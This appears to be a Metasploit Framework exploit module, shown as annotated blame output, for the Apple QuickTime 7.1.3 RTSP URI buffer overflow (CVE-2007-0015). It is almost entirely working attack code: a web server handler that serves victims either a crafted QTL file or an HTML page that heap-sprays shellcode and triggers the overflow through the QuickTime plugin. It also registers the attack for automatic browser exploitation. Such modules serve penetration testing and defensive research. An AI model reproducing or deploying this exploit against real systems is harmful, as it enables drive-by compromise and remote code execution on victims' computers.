2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-31 05:29:37 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2007-01-02 17:51:43 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2007-01-02 17:51:43 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2007-01-02 17:51:43 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
|
|
autopwn_info({
|
|
|
|
:os_name => OperatingSystems::WINDOWS,
|
2012-04-09 07:57:50 +00:00
|
|
|
# No particular browser. Works on at least IE6 and Firefox 1.5.0.3
|
2009-07-22 20:14:35 +00:00
|
|
|
:javascript => true,
|
|
|
|
:rank => NormalRanking, # reliable memory corruption
|
|
|
|
:vuln_test => nil,
|
|
|
|
})
|
|
|
|
|
2007-01-02 17:51:43 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow in Apple QuickTime
|
2009-07-22 20:14:35 +00:00
|
|
|
7.1.3. This module was inspired by MOAB-01-01-2007. The
|
|
|
|
Browser target for this module was tested against IE 6 and
|
|
|
|
Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the
|
|
|
|
QuickTime plugin.
|
2007-01-02 17:51:43 +00:00
|
|
|
},
|
2009-07-22 20:14:35 +00:00
|
|
|
'Author' => [ 'MC', 'egypt' ],
|
2007-01-02 17:51:43 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2007-01-02 17:51:43 +00:00
|
|
|
[
|
|
|
|
[ 'CVE', '2007-0015' ],
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'OSVDB', '31023'],
|
2007-01-02 17:51:43 +00:00
|
|
|
[ 'BID', '21829' ],
|
|
|
|
[ 'URL', 'http://projects.info-pull.com/moab/MOAB-01-01-2007.html' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500,
|
2009-07-22 20:14:35 +00:00
|
|
|
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
|
2007-01-02 17:51:43 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2009-07-22 20:14:35 +00:00
|
|
|
[ 'Automatic', { } ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Apple QuickTime Player 7.1.3',
|
|
|
|
{
|
|
|
|
'Ret' => 0x6855d8a2 # xpsp2/2k3 :( | vista ;)
|
2009-07-22 20:14:35 +00:00
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Browser Universal',
|
2009-07-22 20:14:35 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp2
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
|
|
|
],
|
2007-01-02 17:51:43 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Jan 1 2007',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(client, request)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-02 17:51:43 +00:00
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
if (target.name =~ /Automatic/)
|
|
|
|
if (request['User-Agent'] =~ /QuickTime/i)
|
|
|
|
target = targets[1]
|
|
|
|
else
|
|
|
|
target = targets[2]
|
|
|
|
end
|
|
|
|
end
|
2007-01-02 17:51:43 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
cruft = rand_text_alphanumeric(4)
|
|
|
|
# This is all basically filler on the browser target because we can't
|
|
|
|
# expect the SEH to be in a reliable place across multiple browsers.
|
|
|
|
# Heap spray ftw.
|
|
|
|
sploit = rand_text_english(307)
|
|
|
|
sploit << p.encoded + "\xeb\x06" + rand_text_english(2)
|
2007-01-02 17:51:43 +00:00
|
|
|
sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')
|
|
|
|
|
2010-05-04 23:09:32 +00:00
|
|
|
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.qtl$/)
|
2012-04-11 06:26:25 +00:00
|
|
|
print_status("Sending exploit QTL file (target: #{target.name})")
|
2009-07-22 20:14:35 +00:00
|
|
|
content = build_qtl(sploit)
|
|
|
|
else
|
2012-04-11 06:26:25 +00:00
|
|
|
print_status("Sending init HTML")
|
2007-01-02 17:51:43 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
shellcode = Rex::Text.to_unescape(p.encoded)
|
|
|
|
url = ((datastore['SSL']) ? "https://" : "http://")
|
|
|
|
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
|
|
|
|
url << ":" + datastore['SRVPORT']
|
2010-04-30 08:40:19 +00:00
|
|
|
url << get_resource
|
2009-07-22 20:14:35 +00:00
|
|
|
js = <<-ENDJS
|
|
|
|
#{js_heap_spray}
|
|
|
|
sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);
|
|
|
|
ENDJS
|
|
|
|
content = "<html><body><script><!--\n#{js}//--></script>"
|
|
|
|
content << <<-ENDEMBED
|
2010-04-30 08:40:19 +00:00
|
|
|
<OBJECT
|
|
|
|
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
|
|
|
|
WIDTH="1"
|
|
|
|
HEIGHT="1"
|
2009-07-22 20:14:35 +00:00
|
|
|
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
|
|
|
|
<PARAM name="SRC" VALUE = "#{url}/#{cruft}.qtl">
|
|
|
|
<PARAM name="QTSRC" VALUE = "#{url}/#{cruft}.qtl">
|
|
|
|
<PARAM name="AUTOPLAY" VALUE = "true" >
|
|
|
|
<PARAM name="TYPE" VALUE = "video/quicktime" >
|
|
|
|
<PARAM name="TARGET" VALUE = "myself" >
|
2010-04-30 08:40:19 +00:00
|
|
|
<EMBED
|
|
|
|
SRC = "#{url}/#{cruft}.qtl"
|
|
|
|
QTSRC = "#{url}/#{cruft}.qtl"
|
2009-07-22 20:14:35 +00:00
|
|
|
TARGET = "myself"
|
2010-04-30 08:40:19 +00:00
|
|
|
WIDTH = "1"
|
|
|
|
HEIGHT = "1"
|
|
|
|
AUTOPLAY = "true"
|
|
|
|
PLUGIN = "quicktimeplugin"
|
|
|
|
TYPE = "video/quicktime"
|
|
|
|
CACHE = "false"
|
2009-07-22 20:14:35 +00:00
|
|
|
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
|
|
|
|
</EMBED>
|
|
|
|
</OBJECT>
|
|
|
|
ENDEMBED
|
|
|
|
content << "</body></html>"
|
|
|
|
end
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
send_response(client, content, { 'Content-Type' => "text/html" })
|
|
|
|
|
2007-04-04 04:34:17 +00:00
|
|
|
# Handle the payload
|
2010-04-30 08:40:19 +00:00
|
|
|
handler(client)
|
2007-01-02 17:51:43 +00:00
|
|
|
end
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
def build_qtl(overflow)
|
|
|
|
cruft = rand_text_english(4)
|
|
|
|
|
|
|
|
content = "<?xml version=\"1.0\"?>\n"
|
|
|
|
content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"
|
|
|
|
content << "<embed autoplay=\"true\" \n"
|
|
|
|
content << "moviename=\"#{cruft}\" \n"
|
|
|
|
content << "qtnext=\"#{cruft}\" \n"
|
|
|
|
content << "type=\"video/quicktime\" \n"
|
2010-04-30 08:40:19 +00:00
|
|
|
content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"
|
2009-07-22 20:14:35 +00:00
|
|
|
|
|
|
|
end
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|